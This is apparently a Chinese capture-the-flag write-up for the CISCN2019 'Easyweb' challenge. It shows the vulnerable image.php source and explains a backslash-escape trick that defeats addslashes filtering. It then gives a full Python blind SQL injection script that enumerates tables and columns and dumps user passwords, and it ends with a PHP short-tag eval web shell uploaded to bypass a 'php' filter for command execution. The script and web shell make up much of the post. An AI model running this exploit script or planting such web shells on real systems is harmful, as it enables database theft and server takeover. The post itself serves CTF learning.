CTF Web安全

[CISCN2019 总决赛 Day2 Web1]Easyweb

Posted on 2020-01-24,4 min read

看见界面。一个登陆框。

尝试register.php。。并没有。看下robots.txt


然而。index.php并没有bak备份
看源代码。发现个image.php还带id?十有八九sql注入

访问下image.php.bak。成功下载文件

<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

GET接收两个参数,id和path。并且通过addslashes增加斜杠。然后替换为空。
根据经验。漏洞一定出在过滤中。
替换了\0,但其实替换的是\0,因为\会转义为普通
这里本地写了段代码。测试下
发现\0会被转义为\\0,进行过滤时。就会将\0给替换为空。只剩下\\。而\表示转义。多余的\就会逃逸

select * from images where id='\\\' or path=''
导致id处的后半个单引号被\转义。id的值为\\\' or path
path可控。我们就可以通过#去注释path的后半个单引号
select * from iamges where id='\\\' or path=' or 1#
即可返回正常


由于这里没有回显。我们可以通过盲注。进行注入

import requests
url=r'http://a563b70a-acef-493b-aacd-34608c733374.node3.buuoj.cn/image.php?id=\\0&path=or '
def tablelen():
    for i in range(1,30):
        payload='(select(length((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))='+str(i)+')%23'
        result=requests.get(url=url+payload)
        if ''!= result.text and '404' not in result.text:
            print ('tablenlen:'+str(i))
            return i
def tablename(tablelen):
    for i in range(1,tablelen+1):
        for j in range(30,127):
            payload='(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),'+str(i)+',1))='+str(j)+')%23'
            result=requests.get(url=url+payload)
            if ''!= result.text and '404' not in result.text:
                print(chr(j),end='')
                break


def columnlen():
    for i in range(1,30):
        payload='(length((select(group_concat(column_name))from(information_schema.columns)where(table_name)=0x7573657273))='+str(i)+')%23'
        result=requests.get(url=url+payload)
        if ''!= result.text and '404' not in result.text:
            print ('columnlen:'+str(i))
            return i

def columnname(columnlen):
    columnname=''
    for i in range(1,columnlen+1):
        for j in range(30,127):
            payload='(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)=0x7573657273),'+str(i)+',1))='+str(j)+')%23'
            result=requests.get(url=url+payload)
            if ''!= result.text and '404' not in result.text:
                print(chr(j),end='')
                columnname+=chr(j)
                break
    return columnname
def dump(columnname):
    for i in range(1,21):
        for j in range(30,127):
            payload='(ascii(substr((select group_concat(password) from users),'+str(i)+',1))='+str(j)+')--+'
            result=requests.get(url=url+payload)
            if ''!= result.text and '404' not in result.text:
                print (chr(j),end='')
                break    
tablelen=tablelen()
tablename=tablename(tablelen)
columnlen=columnlen()
columnname=columnname(columnlen)
datalen=dump()

得到admin,d6948837c00b44421607
登陆后。有个上传。随便传点东西
我传了个FUZZ.txt

访问。貌似。会将我们的用户名和文件名写入这个php文件

尝试。直接写个eval($_POST[a]);

然而不行。再次尝试<?php eval($_POST[a]);?>
提示禁止php
尝试用PHP的短标签绕过
<?=@eval($_POST['a']);?>
成功上传。执行命令

下一篇: 纪录一题非常。。脑洞的MISC→